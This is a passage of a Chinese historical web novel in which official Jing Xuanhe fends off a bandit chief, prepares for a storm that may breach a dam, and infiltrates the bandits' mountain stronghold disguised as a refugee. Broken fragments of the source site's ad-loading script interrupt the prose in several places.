景暄和心一紧,知道他是在试探,眼珠一转道:“那要看是上好的白面粉还是次等的白面粉了,若是上好的卖二十五文一斤,若是次等一些的,是十五文一斤。” 土匪头子上下打量了她一下,没有说话。 景暄和长须一口气,还好她在望春县没有闲着,为了体察民情,她在逛街的时候和百姓们闲谈时知道了当地的物价。 她刚要说话,鬼面人却对手下使了个眼色,他们立即心领神会,拿出刀子要去查验马车。 景暄和赶忙说:“大爷们,你们可千万要仔细点,要是面粉撒多了,收货的不要,那我们这趟就白走了,小人上有老下有小,要是赚不到钱,家里孩子连饭都吃不上了!”她作势用袖子遮脸,要去抹眼泪。 土匪的手下划开了袋子,果然见面粉落下。 为了保险,景暄和在每层袋子上方都做了隔断,放了厚厚的面粉,就是怕遇到找事的,没想到竟真派上了用场。 景暄和对鬼面人说:“您一看就是大当家的,气魄不同于常人,想必也不会为难我们这些小民吧?小人寒酸,身上没有什么值钱的,愿意送您一袋面粉,您就放过我们吧。” “我还差你一袋面粉不成。”鬼面人冷笑一声,“你这脸,怎么像只黑煤球?” 景暄和:“……” 她讪讪一笑,“小人天生就长得又丑又黑,脸上好多麻子,刚生下来差点被母亲给丢了,还是因为我哭得响,母亲起了恻隐之心,才留下我一条命……” 她故意编出一个凄惨的身世,只希望这土匪头子快点让她过去,不要再为难了。 鬼面人抱着手臂,俯视了她一眼,景暄和不敢呼吸,只是微微抬眸,等待他的回答。 还好,他终于从齿尖吐出两个字:“滚吧。” “多……多谢好汉!多谢好汉!” 景暄和像得了特赦令一样,赶忙让车夫们上马车。 抓紧时间跑路要紧啊。 就在她刚走几米后,鬼面人突然定住了脚步。 怎么……好像有哪里不对? 车夫共有六名,三车东西,这没什么问题。 可是其中一个车夫穿的不是普通的布鞋,而是方头靴,他恰好知道,方头靴,是衙门的人才能穿的。 “慢着!他们是官府的人!”鬼面人一拍脑袋,气急败坏地说。 手下大骂一声:“妈的,臭小子,敢骗老子!” 景暄和心跳如鼓,放声道:“走!大家快走!” 车夫们赶忙驾着车逃跑,速度要多快有多快。 可即便如此,马车负重太重,那些土匪却是轻装便衣,很容易就要追上他们了! 不行! 不能让他们追上! 景暄和从马车底部抽出绣春刀,跳下了车,挡在他们面前。 鬼面人一字一句道:“天堂有路你不走,地狱无门你偏来。” 他派了一半人去追马车,另一半人围住了景暄和。 鬼面人浑身散发着冷气,好像能将她冻死。 “我这辈子最痛恨就是欺骗,既然你自己找死,就怪不得别人了!” 没成想,景暄和毫无畏惧道:“我不过是想自保!谁死谁亡还不一定呢!” “你倒是挺自信。” 电光火石间,景暄和对着他就是一劈,他似乎没意识到她还会武功,神情一怔,随即拿着大刀一挡。 “砰——” 这碰撞像惊雷炸开,震撼人心。 景暄和动作极快,用力朝他砍去,鬼面人也毫不退让,与她打斗起来。 双方招式层出不穷,旁边的土匪只觉得眼花缭乱。 “快!愣着干嘛呢,快去支援大当家的!”有土匪才反应过来。 眼见着众人要围上来,景暄和啐了一声,“我呸!以多欺少,算什么好汉!真为你们感到羞耻!” 鬼面人说:“我是不是好汉,还不需要你来承认!”他声音冷冽:“兄弟们,将这个小子剁成肉泥!解我心头之恨!” “是!” 鬼面人闪身后退,景暄和被他们团团围住,包围圈逐渐缩小。 有人拿着双锤,朝景暄和重重地一捶,她飞身躲过,又有拿剑的人朝她一劈,她反手护住头,发带却被砍开,一头乌黑的头发垂了下来,在暗夜中飘散开来。 “妈的,居然是个女人!”手下说:“大当家的,是杀还是留?” 景暄和突然想起老者的话,黑风寨的人正四处搜罗美貌的女子,要抓过去给他当压寨夫人…… “我不杀女人,只要你投降,我可以考虑饶你一命。”鬼面人 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 声音依然冷淡,居高临下地说。 “是吗?”景暄和直视着他,“你的意思是,要我投降?” “是。”没有多余的字。 景暄和嘴角突然带上了一抹笑,仿佛是听到了什么最好笑的笑话。 下一秒,她就朝那人胸前劈砍了过去,鬼面人躲闪不及,手臂被划开了一道口子。 “这就是我的答案,宁死也不降。” 黑暗中,景暄和冷声道。 鬼面人难以置信地望着她,鲜血从他的手臂流下,一滴一滴,在地上绽出了血花。 “你他妈不想活了,居然敢伤我们老大!”手下义愤填膺,一副要冲上去和她拼命的架势。 景暄和已经做好了准备,要与他们做最后一搏。 这时,远处传来哒哒的马蹄声,火光四起,似是有人来了。 汪常青与徐芃敏骑着马过来,后面跟着百来号士兵。 徐芃敏背着弓箭,刷刷几下便朝土匪们射去,快如闪电,他们一时乱了阵脚,四处躲避。 “景姐姐,不好意思我来晚了!”徐芃敏驾着马,英姿飒爽。 她向景暄和伸出手,景暄和脚步轻点,飞身上马,与她同乘一马。 “一点都没晚,你来的刚刚好!”景暄和眼中染上了喜悦。 汪常青微笑道:“景大人,好久不见,你还好吧。” 他的皮肤因风吹日晒变得有些黝黑,却更有男子气概。 “汪大人,好久不见,多谢你们了!这次算我欠你们一个人情!” 汪常青道:“你之前救了我们夫妇多次,这点小事,不足挂齿。” 鬼面人的手下却乱作一团,“大当家的……” 如今局势扭转,不是逞能的时候,鬼面人虽然咽不下这口气,也只好强逼着自己咽下。 “我们走!” 鬼面人最后望了景暄和一眼,咬牙切齿地上了马。 这个诡计多端的女人! 他是中了这女子的奸计,可是,绝没有下一次了! *** 众人在黑夜中来到了周家坳,这儿地势较低,军士们安营扎寨于此,帐篷前已经点起了篝火。 火焰跳动,橘色的火焰噼啪作响,就像燃起了一个又一个的希望。 若薇和茗泉看到景暄和回来了,心头压着的大石头终于放下了,左看看右瞧瞧,生怕她受伤了。 “景大人,你没事吧,吓死我了!”茗泉捂住胸口,到现在还惊魂未定。 还好军营和景暄和的地方不算太远,他跌跌撞撞、上气不接下气地跑来,还被守门的军士们当成匪徒的细作。他求他们去找徐芃敏,只要她来,一定能认出他。 还是若薇在厨房帮忙,正好路过听到这边吵闹,过来一看才发现是茗泉。 徐芃敏一听到景暄和被困的消息,赶忙与汪常青点了一百军士过去营救,路上还遇到了装有物资的马车和二十几个土匪。 解决掉这些麻烦后,还好是赶上了。 景暄和带来的东西似乎给他们带来了希冀,军士们拿到了军饷和粮食,士气大振。 接下来的三天,他们与匪徒战斗了三场,皆是大胜,大伙心情大好,每个人的脸上都洋溢着笑容。 可是,景暄和心底总有一丝不安。 第四天,最让她担心的事情还是发生了。 138. 暴雨倾盆 这一天,乌云密布,黑云压城,远处惊雷滚滚,似乎劈开了天际。 大风呼啸而起,军营大门的旗帜被风吹得簌簌作响。 景暄和不无担忧地对汪常青说:“汪大人,之前这里下过大雨吗?” 汪常青摇头:“之前最多就是小雨,就算下了雨也不会持续多久,可是这一次,却好像有些不妙。” 二人一齐望向了远处。 周家坳地势较低,若是小雨还好,一旦下了大雨,整个军营都有可能进水,这还不是最可怕的,望春县旁有一嘉澜江,上游流经匪徒所在的望春山,如果大雨一起,水势大涨,他们很有可能切断堤坝,让湖水倒灌进周家坳,到时候后果不堪设想。 徐芃敏带来了两件披风,给汪常青和景暄和披上,她叹了口气,“如今之计,只能祈求上天不要下大雨,人之于自然面前,能做的实在是太少。以前我总觉得‘人定胜天’,可是后来越来越觉得,人类在自然面前,力量实在是太渺小了。” 其实不仅是自然,还有命运。 这些都像看不见的手,又像无形的提线,人就像木偶一般被它们左右着。 数月前,她还是徐大学士的掌上明珠,也是风光无限的状元夫人,可是如今,却在荒郊野外的地方随着夫君与朋友剿匪,这在几个月前,是她怎么也想象不到的。 望春县消息闭塞,汪常青是在几天前才听说徐芃敏的母亲去世的消息,他只觉得心急如焚,却什么也做不了,若他能变成一只鸟,恨不得下一秒就飞到妻子的身边。 谁曾想,徐芃敏竟然会自己过来。 他看到她的那一秒,还以为自己是在做梦,她比之前瘦了许多,可是眼神却透露着坚毅。 好像一夜之间,那个需要人保护的小姑娘就长大了,她经历了风吹雨打,从一朵温室里的娇花变成了茁壮的绿树,傲然于天地之间。 没见到她之前,汪常青本想了许多安慰她的话,可一见到她,竟什么都说不出来了,大脑一片空白。还是她紧紧地抱住他,反过来安慰他说:“相公,我没事,你不用为我担心。” 他的妻子,远比自己想象的要坚强百倍。 之前因为物资匮乏,敌人的攻势猛烈,气焰也愈发嚣张,他甚至想到了与望春县共存亡,可是他不敢将这个想法告诉徐芃敏,她已经失去了母亲,父亲又病弱,他实在无法想象她再失去丈夫了。 可是徐芃敏却面容平静地说:“相公,无论如何,我都会与你一道,若是土匪们攻破了望春县,那么我们面前,还有一条嘉澜江呢。” 这句话让汪常青心中一凛,她的意思是,若他们失败了,她并不介意与他一同跳入江中,以死明志。 没想到,她比他想象的还要决绝。 他的心突然有些疼痛,好像被人用力捏了一把。 “敏敏,无论如何,你要活着,还要好好活着,这是我唯一的心愿。”汪常青疼惜地搂住她,柔声说。 景暄和的话却打断了他的思绪。 “无论何时,人类对自然都要保持敬畏之心,”她皱眉道:“我们只能尽全力想办法了,不管怎样,我们都不能坐以待毙,天上是不会掉馅饼的。” 她指向了军营旁边的壁垒,“今天我会开始指挥军士们将壁垒修高,希望能抵挡一阵。只要雨势不太大,这壁垒便够用了。” 谁知话音刚落,脸上就有雨点落下的潮湿感觉。 下雨了。 这雨越来越大,不到一刻钟竟成了倾盆之势。 景暄和拿起斗笠,说:“再不去修壁垒就来不及了,汪大人,敏敏,我们一人负责一段!” “好!” 汪常青和徐芃敏也拿起斗笠,赶忙开始行动。 *** 此时的望春山中,鬼面人站在寨中,外面暴雨倾盆,他伸出手,任雨打在手上,只觉得凉飕飕的。 手下笑吟吟地说:“恭喜大当家的,下雨了下雨了!咱们一直在等待的时机终于来了!” 鬼面人的目光深沉,带着毫不留情的狠厉。 这样大的雨,已经很久没见过了,上一次见到,还是在二十年前。 那时,天降暴雨,他的父亲和叔叔们被官府逼得跳河自尽,就因为交不起那所谓的“杂税”,从那时起他就发誓,他要反抗暴政,绝不步父亲和叔叔们的后尘。 这些年,他运筹帷幄,终于在望春山上建立了黑风寨,眼看着事业越做越大,竟成了朝廷的眼中钉、肉中刺,他决不能在这个时候放弃! 自从那女子到了敌方,对面如有神助,这三天接连大胜,兄弟们都有些胆寒,可是今天,上天终于开眼了,这场大雨就是老天爷给他的绝佳机会,让他逆风翻盘。 这时,手下慌慌忙忙地说:“大当家的,周老的病又重了些,今天嚷着膝盖疼,您要不要去看看?” 周老叫周豫生,原本是生活在周家坳的周氏族人,也是父亲的忘年之交,在父亲死后,周老看他可怜,就将他收养在身边,这么多年悉心教导,就像他的亲生父亲一样。 在他的心里,周老是他在世上唯一的亲人了。 推开卧房,老人重重地咳嗽了一声,脸色泛起青白,颤颤巍巍地伸出手,他立马抓住老人的手。 “义父,你还好吗?” “粲儿,扶我起来。”老人深深地吸了一口气。 他赶忙将枕头靠在周老的背后,依言将他扶了起来。 老人重重地叹息了一声,眼皮耷拉了下来,“老毛病了,每到阴雨天,我的膝盖就疼,这么些年,都是这样过来的,死不了。就算要死,我也要等你娶了媳妇儿再死。” “呸呸呸,义父,您还有许多年要活呢,不要说这种不吉利的话。”他帮老人顺气,又给他加了一层毛毯。 外面雨声越来越大,打在屋檐上。 周老望向了窗外,看着淅淅沥沥的大雨,缓缓道:“二十年前的雨天也是这样,当年我看到你父亲和你的叔叔们被打捞上来,连面容都被鱼给毁了,我的心就像被针刺一样疼痛……还好,好孩子,你终于长大了。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “义父,不要再说这些难过的事情了,大夫说,你现在最重要的就是要好好养病,其余的事,交给我来做。” 手下敲了敲门,将浓黑的中药端了过来,他接过药,耐心地吹了吹,拿起勺子就要给老人喂药。 老人却撇过头去,“这药太苦了,我不想吃,拿走吧。” 他很耐心地说:“义父,只有好好吃药,身体才能好起来,儿子也是担心你啊。” 老人又咳嗽了一声,“要不是看在你的面子上,义父是真的不想吃啊。” 喂完了药,老人眼中突然闪烁出微弱的光芒,他握住他的手说:“若是雨势再大一些,你便可砍断堤坝,让江水灌入周家坳,那么对方必定损失惨重,我们便不战而胜了。” 他似乎有些犹疑,“可是,那样做的话,对面的人,必定会全军覆没,不光周家坳,连望春县都会被淹没,到时候生灵涂炭,我……” “怎么,你不忍心?”老人似乎喘不过气,闭着眼,好长时间才重新睁开眼,“好孩子,你要记得一句话,对敌人的仁慈就是对自己的残忍,你不杀他们,他们就要杀你啊。难道你忘了你父亲的死吗?” “义父……” 老人抬起手,打断了他的话,“要不是官府,你父亲和叔叔们绝不会落到那样凄惨的下场,你娘亲也不会殉情而死,你又怎会是孤儿?这一切都是他们的错!你现在却要同情官府的人,难道你是想让你父亲和叔叔们的冤魂在地底都不安宁吗?” “不……”他痛苦地摇了摇头,“我永远也不会忘记父亲他们的死!” 一想到亲人们的死,仇恨的火焰就吞噬了他,他绝不会心慈手软,他要用朝廷军士们的血来祭奠他的父亲! 这些年来,每当午夜梦回,他总会重复地做着暴雨倾盆的梦,他梦到亲人们惨白的尸首和模糊的面容,这噩梦如魔鬼一般缠绕着他。 “好,义父,我答应你,若是雨势够大,我一定砍断堤坝,绝不会留情。” “这才是义父的好孩子啊。”老人如释重负地点点头。 *** 雷声隆隆,仿佛天神在云边擂鼓,闪电狂舞,如疯狂的金蛇扭动,透露出凉薄的恨意。 雨太大了,超出他们的想象,重重地打在地面上,激起无数的水花。 景暄和虽然戴着斗笠,可身上几乎全被淋湿了,她抹了把脸,壁垒已经修的很高,可如果雨再下下去,真的到了江水倒灌的那一刻,就算再高的壁垒也会被冲垮。 汪常青和徐芃敏身上也被淋湿了,他们爬下了壁垒,身上全是泥泞。 “这样下去不是办法,如果雨继续下,我们都会没命。” 即使在这种情况,景暄和的声音还是透露出难得的镇定。 徐芃敏说:“军心不稳啊,我刚才竟然听到一队士兵说他们要不投降算了,被我狠狠地训斥了。” “最坏的结果就是敌人毁坏堤坝,可如果,我们能拖住他们的计划呢?”景暄和眼睛一亮,“我倒有一个点子,说不定能一试。” 139. 深入敌营 此时的望春县,一片混乱。 恐惧如逐渐上涨的河流,溢满了每个人的心头。百姓们争先恐后地来到了县衙门口,将那幢青砖灰瓦的建筑团团围住,暴雨打湿了他们的衣裳,他们却毫不在乎——比起性命而言,淋雨算得上什么呢。 “知县大人,听说匪首要摧毁堤坝,望春县危矣!你不能眼睁睁地看着我们流离失所啊!” “是啊,我们也是大明的百姓,天子不能放弃我们啊!如今通往顺天府的道路被层层把守,不让望春县的流民再离开了,难道天子是让我们自生自灭吗!” “凭什么士绅们都可以离开望春县,我们老百姓却不能!这算什么个道理!” “我不服!打死也不服!难道我们的命就贱一些,活该低人一等吗?!” “是啊,眼看着粮价都涨得离谱了!寻常的时候,一担米只要五钱银子,可是现在,那些奸商居然涨到了一百钱!这还给不给我们生路了!” 县衙的大门紧闭,官兵们把守在门口,皆是佩戴刀剑,生怕民怨沸腾,只能以武器来震慑局面。 吴知县虽然老实本分,却从未见过如此大的场面,他一向是个“老好人”,本着“不求有功,只求无过”的方针,这些年也算是苟下来了,可这次却不同,他实在不知怎么面对百姓的怒火,只好龟缩在县衙里不敢出来,冷汗直冒。 师爷安慰他道:“知县大人,这些刁民最多也只是嘴上说说罢了,他们是不敢冲到府衙来的——就算给他们十个胆子也是不敢的。” “不怕一万……就怕万一啊!”吴知县一直在哆嗦,连说出来的话都在发抖。 师爷讪讪道:“那胆大包天的土匪头子不会真想淹了咱们望春县吧?吴知县,我们要不要也想想退路啊……小人的老婆孩子可都在望春县,能不能……先将他们送走啊?” “让我想想……让我想想……”吴知县心乱如麻,活像热锅上的蚂蚁。 他一向只想安稳度日,可这次老天却像要跟他作对一样,非要下这么大的暴雨。 这是天要亡他啊! 离县衙不远的客栈中,万灵安站在窗前,神情冰冷地望着下面的一切。 这儿视线极好,刚好可以看到县衙门口。 庄炎不无担心道:“万大人,眼看着事情就要到了无法控制的地步,这姓吴的知县居然还不出来平息民愤,不知他到底要做些什么?” “有时候,无能之人简直比贪蠹还要可恨。”万灵安冷道。 他从屉中拿出腰牌,又提笔写下了一封信,放在锦囊之中,对庄炎说:“要暗卫将信从后门送进去,记住,动作要快。” 庄炎点头,身披蓑衣隐入了大雨之中。 半个时辰后,百姓们逐渐等得不耐烦了,有的从家中拿起锄头,有的又拿出铁锹,愤怒像海啸一般,在他们的心头升起。 “让吴知县出来!” “狗官,滚出来!我知道你在里面!” “快出来!再不出来,我拆了你这衙门!” 大家群情激奋,大雨中,百姓们的愤怒如滔天的巨浪,一浪盖过一浪,仿佛已经在绝望的边缘。 “反正都是一死,咱们跟他们拼了!” “对!既然不能去顺天府,不如将狗官揪出来,押到黑风寨去,当做投名状!” “陛下都放弃我们了,我们还有什么好怕的!” 大家你一言我一语,大有不破楼兰终不还的气势。 这时,府衙的大门终于打开了,师爷帮吴知县撑着伞,他缓缓走出,尽量装作淡定的样子。 实际上,他内心慌得要死。 “本……本官这不就来了吗。”吴知县擦了下额头,也不知是雨还是汗。 师爷的步伐太慢,他干脆走在前面,不打伞了。 “本官的老母亲,还有妻子孩子们都在望春县,本官是决计……决计不会放弃你们老百姓的,”他咬咬牙,“本官誓与望春县共存亡!” 话音刚落,他就侧过身去,只见他的妻子和老母从县衙慢慢地走出,后面还跟着一男一女两个孩童。 百姓们的情绪稍稍安定下来。 吴知县心想,这是锦囊里的第一句话,让百姓们相信他不会逃走,摆出坚定的态度。 还好他的住宅离衙门不远,可以很快地将家人从后门接进来。 他继续说:“如今景大人正在前线剿匪,她一向机敏,绝对不会让损毁堤坝的事情发生的,大家尽管放心,望春县也绝不会断了粮食,从今日起,官府会组织城中富户开仓放粮,价格还是按以前的五钱银子一担米,绝不会让大家挨饿的!” 吴知县连说了三个“绝不会”,事实上,他对每一个“绝不会”都在心中打鼓,可只能硬着头皮说了。 他补充道:“本官也会连夜拟好奏折,让上面的官员禀明陛下,告知天子事情的严重性,想必陛下定会派人送粮食过来的。” 这是锦囊里的第二句话,稳住粮价就是稳住民心。 “可是堤坝在对方手里,如果土匪头子丧心病狂,执意要毁掉堤坝,你又能怎么办呢?”人群中,有人发出了疑问。 吴知县心里咯噔一声,没想到这锦囊竟然预测了百姓的问题。 “若是对方要毁掉望春县,本官就算拼死也会打通去往顺天府的路,让大家有退路可走,请尽管放心,要是出了任何差池,本官一人担下责任。”他义正言辞道。 百姓们交头接耳,议论纷纷。 这是锦囊里的第三句话:给百姓一条退路,让他们有活着的希望。 大家你一言我一语,似乎对这个解决方案比较满意。 最后,百姓们终于愿意回去了。 吴知县长长地须了一口气,也顾不得休息,连忙与师爷进了衙门,里面坐着黑衣暗卫,是万灵安的人。 “多谢首辅大人的锦囊妙计,只是,首辅大人如今是在望春县吗?他怎么会对这里发生的事情了如指掌呢?” 暗卫嗤笑了一声,“不该你知道的事情你不必晓得,反正你的难题是解了,这 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 便够了。” “是是是,多谢首辅大人相助!下官定会吃斋念佛,感念首辅大人的恩德!” …… 闹剧终于结束了,万灵安关了窗,睨了一眼桌上升起的袅袅檀香。 这香是上好的青杏香,清新柔和,带着淡淡的木质香味。 他缓缓地闭上了眼睛,好似在冥想,又像是在假寐。 一只鸽子冒着雨来到了客栈,庄炎取下鸽子腿部缠着的信笺,说:“万大人,景大人她……” 万灵安睁开眼睛,慵懒的眼睛恢复了清明。 “她如何了?” “景大人竟扮成了难民,和一群流民们一起‘逃’往了黑风寨,想来个‘擒贼先擒王’,刺杀土匪头子。” 万灵安一怔,拳头一点一点握住。 “我猜景大人是想着,如果土匪头子死了,对面肯定会手足失措,乱成一锅粥的,到时候军士们再趁乱反攻,让匪徒们没有力气再想毁坏堤坝的事情了,只是……”庄炎咽了口口水,“方法虽妙,却太过危险,那土匪头子人高马大,若是景大人落入他的手中,恐怕是……” 他不敢说出“凶多吉少”四个字,只是看着万灵安的表情阴沉了下去,如窗外逐渐擦黑的天幕。 见万灵安起身,庄炎问:“万大人,您准备怎么做呢?” “既然她要扮成难民,难道我就不行么?” 万灵安声音清淡,只是留下了这么一句话。 *** 而此刻,景暄和已经随流民们来到了黑风寨的门前。 他们在山上迷了路,正遇土匪头子的几名手下在巡视,他们用荆棘将流民们绑住,押到了黑风寨。 如今暴雨倾盆,寨子里有许多屋顶都在漏雨,正好缺苦力干活,反正这些流民无处可去,正好当做免费苦力了。 守在门口的是黑风寨的二当家,他虽不像鬼面人那么高,却也肌肉贲张,方脸浓眉,看起来一副不好惹的样子。 景暄和身上被荆棘刺伤了,可是雨太大了,她被淋得已经感觉不到疼痛了。 身旁有个小妹妹,大概八、九岁的样子,和她母亲一起逃难的,也被他们用荆棘绑住了,小女孩疼得哇哇大哭,她的母亲不停地安慰她,也在流泪。 “大爷们,这儿还有小孩呢,咱们大人不要紧,可是小孩子到底柔弱,能否发发慈悲,解开她的荆棘?”景暄和细声细气地说,尽量不想触怒他们。 她穿着一身布衣,头发披散,看起来十分狼狈。 “呦,怎么难民里还有女人呢?”其中一个独眼龙土匪戴着斗笠,吹了声口哨。 二当家说:“你忘了大当家的定下的规矩了?” 独眼龙闭了嘴,又不甘心道:“二当家的,兄弟们已经很久没碰女人了,反正她就是个乡野村妇,要不,这个就当给兄弟们解解馋了?” “我看你是不要命了吧!”二当家冷脸道,懒得理他,用小刀割断了小女孩手上的荆棘。 又对景暄和说:“抬起头来。” 140. 国色天香 景暄和一双眼睛雾蒙蒙的,她微微扬起头,长长的睫毛却垂了下来,没有直视那人。 因为连日的辛劳,她比平日更瘦了,下巴尖尖的,鼻子俏挺,虽然蓬头散发,却难掩美貌。 待看清她的面容,男人有些惊讶。 独眼龙也说:“没想到……这女子竟然这么漂亮!我长这么大还没见过这么漂亮的女人呢!” 他说话的时候哈喇子都快要流出来了,二当家的狠狠地瞪了他一眼,独眼龙才有些收敛。 “奴家……奴家只想活下去。”景暄和的声音恍若蚊蝇,她故意将语调放低,显得十分柔弱,“求求大爷赏奴家一口饭吃吧,奴家一定感念您的恩德。” 眼中似有泪光,像江南烟雨中一只呢喃的小燕。 “好妹妹,这有什么难的?”独眼龙只觉得心都化了,想去抓她的手,却被二当家的挡住。 二当家的转过身去,吩咐手下们:“将他们带下去,男的去修房屋,女的去厨房做事。” 独眼龙似乎有些无语,“二当家的,这女子你真就这么放过了?……如果你不感兴趣,要不要知会大当家的一声?” “要你做什么你就做,哪来这么多废话!”男人训斥道。 独眼龙只好不说话了,在景暄和走的时候还依依不舍地望了她好几眼,他实在无法想象,面对这样容颜无双的美人,二当家的竟然像柳下惠一般毫无动容? 实在太诡异了。 …… 景暄和与妇人和小女孩一同来到了厨房。 出乎她意料的是,这儿围坐着很多女人,有年轻的也有年老的,一个嬷嬷指挥着她们切菜做饭,一切都显得井井有条。 中央有一个硕大的铁锅,正在熬汤,冒出阵阵热气,在雨中好像让游子思乡的钩子。 嬷嬷叉着腰,皱眉道:“你们可以喊我余嬷嬷,我也是这里的管事婆子,既然你们是新来的,就从择菜做起吧,以后再弄些复杂的活计。” “多谢余嬷嬷。”景暄和点头道。 余嬷嬷从头到尾打量了她一下,“小姑娘,以前干过这种粗活么?” “我不过是个农人家的孩子……自然是干过的……” 出乎意料的是,余嬷嬷竟然捏住景暄和的下巴,将她的头发扒到两边,啧啧称叹道:“还没见过黑风寨有如此水灵的小姑娘呢,可惜啊,是流民,身上也脏兮兮的。” 她从角落里扔给景暄和与妇人两件布衣,又给小女孩了一件,说:“你们先去洗个澡换身衣裳吧,别把我的菜给弄脏了。” 三人一同来到了浴室,这儿是个大池子,毫无遮挡,一路上,景暄和都在用余光仔细观察黑风寨的布局,这儿依山而建,靠近悬崖,崖顶有一处屋子,外面有许多人把守,想必就是土匪头子的屋子了。 她必须尽快行动,如今水势上涨,还未达到高位,她必须赶在那之前要了他的命。 “姑娘,谢谢你刚才帮我女儿,不然我女儿还会哭个不停的。”妇人连声感谢道。 “人生在世,谁还没个难处呢?不必放在心上。”景暄和摸了摸小女孩的头,小女孩只是睁着一双大眼睛,胆怯而好奇地望着景暄和。 “谁在那边?”浴池中突然传来一声娇喝。 小女孩赶忙躲在景暄和后面。 定睛一看,浴池角落里居然有个女郎,她警觉地盯着景暄和一行人,问道:“不是说了本小姐沐浴的时候外人不许进来吗?” 她眼眸细长,眼距有点宽,脸上还有点雀斑,倒像从古画中走出来一般,手中抓着皮鞭,好像下一秒就会扬起鞭子。 “小姐,我们是新来的,不懂规矩,还请见谅。” “那你们背过身去,我要起来穿衣服了!”也许是泡久了,她脸上红彤彤的,声音格外清脆。 景暄和与妇人依言背过身去,还不忘牵着小女孩的手,给她转了个身。 只听见淅淅沥沥的水声,女郎一会儿就将衣服穿好了,来到了她们的面前,“我哥哥可是这儿的大当家,他一向宠我,作为他唯一的妹妹,你们也必须听我周岑岑的话。” “那是自然。”妇人唯唯诺诺道。 周岑岑穿着一身鹿皮做的衣裳,像山间的猎户,她的头上斜斜地插着一根羽毛,显得既清冷又俏皮。 她将小皮鞭别在腰间,说:“你们被余嬷嬷分到了哪里做事?” 景暄和低头说:“我们在厨房里做事,余嬷嬷要我们先从简单的活计开始。” 周岑岑点点头,“难得看到寨子里有周正的女人,如果你们以后干得好,我会考虑跟哥哥说,将你调到我的身边给我当贴身丫鬟。” “那就多谢小姐了。”景暄和装作柔弱的样子。 人设不能倒,虽然,她现在很想活动一下身子,能找人打一架就更好了。 这女郎说自己姓“周”,那么鬼面人也应该姓“周”,军士们驻扎的地方叫周家坳,难道这些匪徒是之前迁过来的周氏族人的后人,只是因为父亲的缘故落草为寇了。 外面突然传来敲锣打鼓的声音,几个匪徒披着蓑衣,似乎喜气洋洋的样子。 “大当家的,喜事!天大的喜事啊!”独眼龙刚在二当家那儿吃了瘪,转头又去和大当家的谄媚了。 鬼面人高坐在正厅的椅子上,椅子上铺了一张老虎皮,他正在喝酒,见到独眼龙来,只是不耐烦地抬起了眼皮。 “那个女人……我是说那个阻碍我们的女人摔成重伤了!” “哦?”鬼面人放下酒,饶有兴致道。 独眼龙笑嘻嘻地说:“今早传来消息,那黑煤球因为下雨修建壁垒,竟一脚踩空从上面摔下来了,如今昏迷不醒,对面方寸大乱,想必撑不了多久了!” 因为那日没看清景暄和的长相,再加上她脸又被涂得黢黑,所以他们便以“黑煤球”指代她。 景暄和本人却打了个喷嚏,在浴池中搓了搓身子。 这是她与汪常青夫妇定下的计谋,当她提出这个点子时,徐芃敏觉得太危险了,她不想她冒那么大的风险,可是景暄和却说,自己一定要守住望春县,为此她不惜付出一切代价。 看着她明亮而坚定的眼眸,徐芃敏终于紧紧地抱住她,哽咽地说:“景姐姐,你一定要注意安全。” 她轻轻地拍了拍徐芃敏的背,道: (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “我还等着和你一起去鹤鸣酒楼吃饭呢,到时候我们一定要点好多好多美食,咱们说好了。” “好,说好了。”徐芃敏抹了眼泪,扯开一抹微笑道。 而如今,她终于来到了黑风寨,算是成功走出了第一步。 下一步,就是找机会接近鬼面人了。 可看那人油盐不进的样子,还是得想个办法才行。 传言中,他最喜欢美貌的女子,景暄和还以为女子到了黑风寨会受折磨,可是看到厨房里的那些女人,想起二当家的说:“大当家曾立下的规矩”,又觉得,那传言是不是有误……也许鬼面人并不是她想象的那么邪恶。 不管怎么样,她都要阻止他毁掉堤坝,这是她来这里的目的,也是第一要务。 换了身干净的衣裳,连头发都来不及晾干,余嬷嬷便赶着她们去厨房了。 “今天大当家的开心,要提前办庆功宴,任务就交给我们厨房了,大家赶快行动起来,打起十二分精神,不要偷懒!” 因为厨娘们实在太忙,景暄和这个新来的都要负责做菜了,她被分到做笋菇汤,可这个时候的笋已经不新鲜了。 她想了想,往汤里加了一些辅料,才满意地一笑。 大厅在土楼之中,众人都兴高采烈,热火朝天地笑着喝酒。 鬼面人懒懒地坐在椅子上,手下们排队向他敬酒。 “大当家的,今天寨子里又来了一些流民,我派人给他们安排了修补房子的工作,女人就放到厨房里做事了。”独眼龙抢先说。 二当家坐在大当家的下方,不悦地望了独眼龙一眼,这人经常抢别人的功劳,他也懒得与他计较了。 鬼面人不置可否地点点头。 独眼龙灌了一口酒,继续说:“其中有一个顶漂亮的女子,虽布衣荆钗,却难掩倾城之色,大当家的,周老不是总说要你娶媳妇儿吗?要不要,去见见那个女子,看合不合你的心意?” “山野村妇也配得上大当家的吗?”二当家的没好气道,“再说了,那样的女子如红颜祸水一般,都说娶妻娶贤,那种祸水怎么能当寨主夫人?” 独眼龙住了嘴,有些愤愤不平。 他一向看不惯二当家的,只觉得他假仁假义,要不是他是大当家的亲弟弟,他可不服让他来当黑风寨的老二! 余嬷嬷这时来了,扯着嗓子说:“大当家的,菜已经做好了,要不要现在上菜?” 鬼面人挥了挥手,表示同意。 女人们端着菜鱼贯而入,其中一人端着托盘,她步伐很轻,如弱柳扶风一般,长发随意地挽在脑后,只用一个银色的发带系住,眉梢眼角之间,尽显活色生香。 土匪们都是五大三粗的汉子,哪里见过如此玲珑绝色的女子?目光都仿佛黏在了她的身上。 滂沱大雨将一切覆上了黑白灰的冷淡,而她的到来仿佛将天地间重新染上了色彩,依稀间似乎有袅袅花香飘过。 景暄和将笋菇汤放在鬼面人的面前,低着头缓缓退下。 “站住。”鬼面人突然道。 景暄和一惊。 只听他说:“我们,是不是在哪里见过?” 141. 柔弱无骨 景暄和讪讪地垂下脑袋道:“怎么会?奴家不过是个流民,今日是第一次来黑风寨呢。” 她故意将声音变得又尖又细,和自己那日低沉的声音区别开来。 不过,扮柔弱可真是个技术活,她被自己的夹子音弄得鸡皮疙瘩都起来了。 